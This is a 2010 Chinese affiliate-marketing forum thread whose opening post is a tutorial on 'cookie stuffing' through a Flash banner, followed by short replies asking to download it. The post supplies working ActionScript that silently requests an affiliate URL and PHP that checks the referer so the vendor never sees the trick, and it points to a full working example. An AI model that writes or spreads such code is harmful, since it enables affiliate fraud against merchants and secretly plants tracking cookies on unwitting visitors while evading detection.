EEfaq论坛-赚客自留地

 找回密码
 免费注册
查看: 22091|回复: 140

Cookie stuffing with flash

  [复制链接]
发表于 2010-5-3 09:03:46 | 显示全部楼层 |阅读模式
本帖最后由 chinesestyle 于 2010-5-3 21:54 编辑

老外写的关于 cs 的 I think this is the best alternative to using iframes or images to cookie stuff people since it's much harder to detect compared to the other two solutions. As with the image cookie stuffing, flash cookie stuffing calls the affiliate url to send the cookie to our visitor. Flash is compiled into swf files which need to be decompiled before viewing the actionscript source code which is responsible for the whole trick.

You will need a flash editor such as Flash MX or something else able to add/edit actionscript code. My example uses eB4y so my final result will be one of their banners which can be taken from their website when you sign up as an affiliate.

The look of the banner is not so important since the whole trick sits in the actionscript code which I'm going to explain here:

Code:
  1. import flash.net.URLRequest;
  2. import flash.net.sendToURL;
  3. import flash.net.navigateToURL;
  4. import flash.net.*;
  5. import flash.events.Event;

  6. Security.allowDomain("http://www.yourdomain.net/");
  7. Security.allowDomain("http://rover.eb4y.com/");
  8. Security.allowDomain("http://cgi.eb4y.com/");

  9. //-------------------------------------------------------------------
  10. var url:String = "http://www.yourdomain.net/script.php";
  11. var reqURL:URLRequest = new URLRequest(url);
  12. var loader:URLLoader = new URLLoader(reqURL);
  13. loader.addEventListener(Event.COMPLETE, handleComplete);
  14. loader.dataFormat = URLLoaderDataFormat.VARIABLES;

  15. function handleComplete( event:Event):void
  16. {
  17.         var loader:URLLoader = URLLoader(event.target);
  18.         var safe:Number = new Number(loader.data["safe"]);
  19.         var url:Number = new Number(loader.data["url"]);

  20.         if(safe==1)
  21.         {
  22.                 var request:URLRequest = new URLRequest(url);
  23.                 flash.net.sendToURL(request);
  24.         }
  25. }
复制代码
As you can see from our code, we create a request to "http://www.yourdomain.net/script.php" which returns a query string with a key called "safe". Safe means it's safe to cookie stuff the visitor. This is based on the referer of the visitor to make sure he's not the vendor itself. Just a security measure.

If the query string returns safe with a value of 1, we send the request to our affiliate url. Add this actionscript code to your flash banner and you got yourself a working cookie stuffing object.

The script.php page is just a simple php page which analyzes the referer to make sure it's within our allowed list, whatever that is. It also sends back the safe result and the affiliate url to be requested. We send it from php because you might wanna get in control and send url's based on geolocation, browser etc...:

PHP Code:
  1. $referer = $_SERVER['HTTP_REFERER'];
  2.    
  3.     if ( substr((trim($referer)),0,20)!="http://cgi.eb4y.com/")  //location your stuffing at
  4.     {
  5.         echo "safe=1&url=" . $affiliate_url;
  6.     }
  7.     else {
  8.         echo "safe=0&url=" . $affiliate_url;
  9.     }
复制代码
That's all there is to it. Make sure you check the download section for a full, working example. Good luck!

flash_cookie_stuffing.zip

14.58 KB, 下载次数: 191

发表于 2010-5-3 13:34:57 | 显示全部楼层
记得以前发过!
回复 支持 反对

使用道具 举报

发表于 2010-5-3 15:50:13 | 显示全部楼层
好贵啊  现在的价格
回复 支持 反对

使用道具 举报

发表于 2010-5-3 15:51:09 | 显示全部楼层
好像看见过,不是这里就是隔壁
回复 支持 反对

使用道具 举报

发表于 2010-5-3 22:29:15 | 显示全部楼层
看看,是什么好东东还要回复才能看
回复 支持 反对

使用道具 举报

发表于 2010-5-3 23:40:23 | 显示全部楼层
感谢分享!!!
回复 支持 反对

使用道具 举报

发表于 2010-5-4 00:58:52 | 显示全部楼层
have a look
回复 支持 反对

使用道具 举报

发表于 2010-5-4 10:11:08 | 显示全部楼层
看看我能不能学会
回复 支持 反对

使用道具 举报

发表于 2010-5-4 11:06:25 | 显示全部楼层
回复看看
回复 支持 反对

使用道具 举报

发表于 2010-5-4 17:42:57 | 显示全部楼层
学习一下,最近正打算用到Cookie stuffing
回复 支持 反对

使用道具 举报

发表于 2010-5-4 18:45:59 | 显示全部楼层
have a look look
回复 支持 反对

使用道具 举报

发表于 2010-5-4 20:28:47 | 显示全部楼层
上次有人发flsh的,里面好像缺少文件
回复 支持 反对

使用道具 举报

发表于 2010-5-4 23:36:48 | 显示全部楼层
回复一下,下载来看看
回复 支持 反对

使用道具 举报

发表于 2010-5-5 12:41:27 | 显示全部楼层
回复看看
回复 支持 反对

使用道具 举报

发表于 2010-5-6 15:16:57 | 显示全部楼层
看看 有啥不同的文件
回复 支持 反对

使用道具 举报

发表于 2010-5-6 23:47:16 | 显示全部楼层
这个跟fb有啥区别不?
回复 支持 反对

使用道具 举报

发表于 2010-5-11 08:35:49 | 显示全部楼层
回复看看
回复 支持 反对

使用道具 举报

发表于 2010-5-14 15:37:06 | 显示全部楼层
什么来的?
回复 支持 反对

使用道具 举报

发表于 2010-5-18 15:01:01 | 显示全部楼层
学习一下,谢谢
回复 支持 反对

使用道具 举报

发表于 2010-5-20 09:25:12 | 显示全部楼层
这个不是完全的.有缺陷
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

QQ|联系我们|Archiver|手机版|小黑屋|EEfaq论坛

GMT+8, 2024-6-1 15:22

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表